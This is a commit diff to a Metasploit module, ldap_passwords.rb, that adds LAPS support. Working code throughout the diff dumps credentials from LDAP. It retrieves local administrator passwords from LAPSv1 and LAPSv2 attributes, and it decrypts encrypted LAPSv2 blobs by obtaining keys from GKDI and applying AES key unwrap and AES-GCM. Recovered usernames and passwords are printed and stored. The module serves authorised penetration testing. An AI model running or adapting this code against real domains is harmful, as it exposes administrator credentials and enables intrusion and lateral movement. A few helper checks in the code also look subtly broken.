Skip to content

Commit f1201e4

Browse files
committed
Add LAPS support to ldap_paswords
1 parent 1dfd3fd commit f1201e4

File tree

1 file changed

+200
-10
lines changed

1 file changed

+200
-10
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 200 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,21 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'rasn1'
7+
68
class MetasploitModule < Msf::Auxiliary
79

810
include Msf::Auxiliary::Scanner
911
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::MsGkdi
1013
include Msf::Exploit::Remote::LDAP
1114
include Msf::OptionalSession::LDAP
1215

1316
include Msf::Exploit::Deprecated
1417
moved_from 'auxiliary/gather/ldap_hashdump'
1518

16-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
19+
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
20+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
1721

1822
def initialize(info = {})
1923
super(
@@ -29,18 +33,17 @@ def initialize(info = {})
2933
],
3034
'References' => [
3135
['CVE', '2020-3952'],
32-
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
36+
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
37+
['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
38+
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py']
3339
],
3440
'DisclosureDate' => '2020-07-23',
3541
'License' => MSF_LICENSE,
36-
'Actions' => [
37-
['Dump', { 'Description' => 'Dump all LDAP data' }]
38-
],
39-
'DefaultAction' => 'Dump',
4042
'Notes' => {
4143
'Stability' => [CRASH_SAFE],
4244
'SideEffects' => [IOC_IN_LOGS],
43-
'Reliability' => []
45+
'Reliability' => [],
46+
'AKA' => ['GetLAPSPassword']
4447
}
4548
)
4649
)
@@ -58,10 +61,71 @@ def initialize(info = {})
5861
])
5962
end
6063

64+
def session?
65+
defined?(:session) && session
66+
end
67+
6168
def print_prefix
69+
return "#{Rex::Socket.to_authority(session.client.host, session.client.port)} - " if session?
70+
6271
"#{peer.ljust(21)} - "
6372
end
6473

74+
def get_ad_ds_domain_info(ldap)
75+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
76+
77+
root_dse = ldap.search(
78+
ignore_server_caps: true,
79+
base: '',
80+
scope: Net::LDAP::SearchScope_BaseObject,
81+
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
82+
)&.first
83+
84+
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
85+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
86+
return nil
87+
end
88+
89+
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
90+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
91+
return nil
92+
end
93+
94+
print_status('The target LDAP server is an Active Directory Domain Controller.')
95+
96+
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
97+
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
98+
# means we'll be getting information from more than one domain which breaks some core assumptions
99+
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
100+
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
101+
end
102+
103+
# our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
104+
105+
target_domains = ldap.search(
106+
base: root_dse[:configurationnamingcontext].first.to_s,
107+
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
108+
)
109+
unless target_domains.present?
110+
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
111+
end
112+
113+
unless target_domains.length == 1
114+
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
115+
end
116+
117+
target_domain = target_domains.first
118+
119+
{
120+
netbios_name: target_domain[:netbiosname].first.to_s,
121+
dns_name: target_domain[:dnsroot].first.to_s
122+
}
123+
end
124+
125+
def ad_domain?
126+
@ad_ds_domain_info.nil?
127+
end
128+
65129
# PoC using ldapsearch(1):
66130
#
67131
# Retrieve root DSE with base DN:
@@ -89,6 +153,8 @@ def run_host(_ip)
89153
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
90154
end
91155

156+
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
157+
92158
print_status("Searching base DN: #{base_dn}")
93159
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
94160
end
@@ -106,10 +172,12 @@ def run_host(_ip)
106172
def ldap_search(ldap, base_dn, args)
107173
entries_returned = 0
108174
creds_found = 0
175+
# TODO: use a filter when we're targeting AD DS
109176
def_args = {
110-
base: '',
111177
return_result: false,
112-
attributes: %w[* + -]
178+
scope: Net::LDAP::SearchScope_WholeSubtree,
179+
# build a filter that searches for any object that contains at least one of the attributes we're interested in
180+
filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
113181
}
114182

115183
begin
@@ -233,6 +301,26 @@ def process_hash(entry, attr)
233301
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234302
# In the meantime, dump the base64 encoded value.
235303
private_data = Base64.strict_encode64(private_data)
304+
when 'ms-mcs-admpwd'
305+
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
306+
username = 'Administrator'
307+
when 'mslaps-password'
308+
begin
309+
lapsv2 = JSON.parse(private_data)
310+
rescue StandardError => e
311+
elog("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.", error: e)
312+
print_error("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.")
313+
next
314+
end
315+
316+
username = lapsv2['n']
317+
private_data = lapsv2['p']
318+
when 'mslaps-encryptedpassword'
319+
lapsv2 = process_result_lapsv2_encrypted(entry)
320+
next if lapsv2.nil?
321+
322+
username = lapsv2['n']
323+
private_data = lapsv2['p']
236324
when 'userpkcs12'
237325
# if we get non printable chars, encode into base64
238326
if (private_data =~ /[^[:print:]]/).nil?
@@ -271,7 +359,7 @@ def process_hash(entry, attr)
271359
# highlight unresolved hashes
272360
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273361

274-
print_good("Credentials (#{jtr_format || 'password'}) found in #{attr}: #{username}:#{private_data}")
362+
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data}")
275363

276364
report_creds(username, private_data, jtr_format)
277365
creds_found += 1
@@ -300,7 +388,109 @@ def report_creds(username, private_data, jtr_format)
300388
username: username
301389
}.merge(service_data)
302390

391+
if @ad_ds_domain_info
392+
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
393+
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
394+
end
395+
303396
cl = create_credential_and_login(credential_data)
304397
cl.respond_to?(:core_id) ? cl.core_id : nil
305398
end
399+
400+
def process_result_lapsv2_encrypted(result)
401+
if session?
402+
print_warning('Can not obtain LAPSv2 decryption keys when running with an existing session.')
403+
return
404+
end
405+
406+
encrypted_block = result['msLAPS-EncryptedPassword'].first
407+
408+
encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
409+
content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
410+
encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
411+
enveloped_data = content_info.enveloped_data
412+
recipient_info = enveloped_data[:recipient_infos][0]
413+
kek_identifier = recipient_info[:kekri][:kekid]
414+
415+
key_identifier = kek_identifier[:key_identifier]
416+
key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)
417+
418+
other_key_attribute = kek_identifier[:other]
419+
unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
420+
vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
421+
return
422+
end
423+
424+
ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
425+
kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
426+
sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value
427+
428+
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
429+
"O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
430+
domain_sid: sid.rpartition('-').first
431+
)
432+
433+
if @gkdi_client.nil?
434+
@gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
435+
end
436+
437+
begin
438+
kek = gkdi_get_kek(
439+
client: @gkdi_client,
440+
security_descriptor: sd,
441+
key_identifier: key_identifier
442+
)
443+
rescue StandardError => e
444+
elog('Failed to obtain the KEK from GKDI', error: e)
445+
print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
446+
return nil
447+
end
448+
449+
algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
450+
# TODO: validate that AES-GCM is in use
451+
iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
452+
encrypted_key = recipient_info[:kekri][:encrypted_key].value
453+
454+
key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)
455+
456+
cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
457+
cipher.decrypt
458+
cipher.key = key
459+
cipher.iv_len = iv.length
460+
cipher.iv = iv
461+
cipher.auth_tag = encrypted_data[-16...]
462+
plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
463+
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
464+
end
465+
466+
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
467+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
468+
class LAPSv2EncryptedPasswordBlob < BinData::Record
469+
endian :little
470+
471+
file_time :timestamp
472+
uint32 :buffer_size
473+
uint32 :flags
474+
uint8_array :buffer, initial_length: :buffer_size
475+
end
476+
477+
class MicrosoftKeyAttribute < RASN1::Model
478+
class Sequence < RASN1::Model
479+
class KVPairs < RASN1::Model
480+
sequence :content, content: [
481+
utf8_string(:name),
482+
utf8_string(:value)
483+
]
484+
end
485+
486+
sequence :content, constructed: true, content: [
487+
sequence_of(:kv_pairs, KVPairs)
488+
]
489+
end
490+
491+
sequence :content, content: [
492+
objectid(:key_attr_id),
493+
model(:key_attr, Sequence)
494+
]
495+
end
306496
end

0 commit comments

Comments
 (0)